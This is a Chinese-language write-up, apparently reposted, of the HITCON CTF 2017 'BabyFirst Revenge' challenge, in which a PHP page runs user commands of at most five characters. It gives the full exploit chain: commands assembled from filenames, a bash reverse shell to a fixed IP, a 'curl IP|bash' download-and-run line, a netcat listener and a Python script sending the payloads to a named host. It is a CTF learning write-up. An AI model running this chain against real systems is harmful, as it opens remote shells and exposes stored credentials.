命令執行長度限制 - 反彈shell(HITCONCTF 2017 - BabyFirst Revenge)


代碼如下

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

前提知識:

通過shell命令 >a 來創建一個新的空文件
ls>a 將當前目錄下的文件(目錄)寫進a文件,ls>>a 是向a中追加內容
shell中'\'可以連接語句,組成完整的命令

ls -t>a 以時間順序(時間近的排序靠前)排序文件(目錄),並寫入a中

構造shell(echo 1)失敗

將ls換成dir就沒有換行的顯示了,但是命令還是無法執行

經驗證不是命名空格的問題,是shell中不存在換行符的問題,換成ls命令也一樣

 

修正:

 

補充:

在shell中輸入*號,會將目錄第一個文件當做命令符,后面的文件當做參數
例:等同於命令id root

curl命令的分隔

需要發現的是,不符合shell語法的字符並不會截斷shell命令的執行,比如下面的a

剩下來我們只需把shell文件放到自己的服務器上,利用curl命令解析並存入本地的文件,最后執行獲得權限

 

反彈shell

以bash shell為例,寫入服務器的index.php網頁

bash -i >& /dev/tcp/81.68.177.230/12345 0>&1

題目所在主機通過

curl 81.68.177.230|bash

來得到shell,之后追加寫入本地文件執行

話是這么說,但是直接把shell語句寫入php中,會出現解析錯誤,當然也可能是我配置了https證書不認可,無法建立連接的問題

網上另一種方法是把shell放進txt文件中,且重新用docker做個apache環境

curl ip/shell.txt|bash

但是注意'/'在linux中是個特殊的符號,不能作為文件名存在,所以只能連在一起用,不能斷開

最后還是乖乖重新配個環境試試

 

首先公網主機監聽指定端口,然后執行bash命令向公網指定端口發送連接請求

監聽:

nc -lvnp 12345

反彈shell成功(用本地kali嘗試的)(這里演示時已經停止監聽了,所以拒絕連接)

 

接下來只要(題目所在主機)執行shell就行了(下面內容因ip而異)

#generate `ls -t>g` to file "_"
http://host/?cmd=>ls\ http://host/?cmd=ls>_
此時_文件中有: ls\
http://host/?cmd=>\ \ http://host/?cmd=>-t\ http://host/?cmd=>\>g http://host/?cmd=ls>>_
追加了內容后有:
ls\
\ \
-t\
\>g
#generate `curl 81.68.177.230|bash` to file "g" http://host/?cmd=>sh http://host/?cmd=>ba\ http://host/?cmd=>\|\ http://host/?cmd=>30\ http://host/?cmd=>2\ http://host/?cmd=>7.\ http://host/?cmd=>17\ http://host/?cmd=>8.\ http://host/?cmd=>6\ http://host/?cmd=>1.\ http://host/?cmd=>8\ http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=>sh _
向g中追加curl命令
#got shell
http://host/?cmd=sh g

參考的大佬腳本:

import requests
from time import sleep
from urllib.parse import quote


payload = [
    # generate `ls -t>g` file
    '>ls\\',
    'ls>_',
    '>\ \\',
    '>-t\\',
    '>\>g',
    'ls>>_',

    # generate `curl orange.tw.tw|python`
    # generate `curl 81.68.177.230:8000/shell.txt|bash`
    '>sh\ ',
    '>ba\\',
    '>\|\\',
    '>00\\',
    '>80\\',
    '>\:\\',
    '>30\\',
    '>2\\',
    '>7.\\',
    '>17\\',
    '>8.\\',
    '>6\\',
    '>1.\\',
    '>8\\',
    '>\ \\',
    '>rl\\',
    '>cu\\',

    # exec
    'sh _',
    'sh g',
]



r = requests.get('http://www.youkilearning.top:8028/?reset=1')
for i in payload:
    assert len(i) <= 5
    r = requests.get('http://www.youkilearning.top:8028/?cmd=' + quote(i))
    print(i)
    sleep(0.2)

反彈得到shell后,在/home目錄下找到數據庫登陸用戶名和密碼

 

這bash shell連數據庫時用的就挺難受的,登陸時-u和-p不能有空格,只能在命令行輸入密碼查看

經常卡住要exit,重新登陸數據庫才能繼續

得到flag

 

參考:https://zoresmile.cn/linux/2020/04/927.html

參考:https://blog.csdn.net/u011377996/article/details/82464383

參考官方WP:https://blog.csdn.net/bajinsheng/article/details/78703249


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM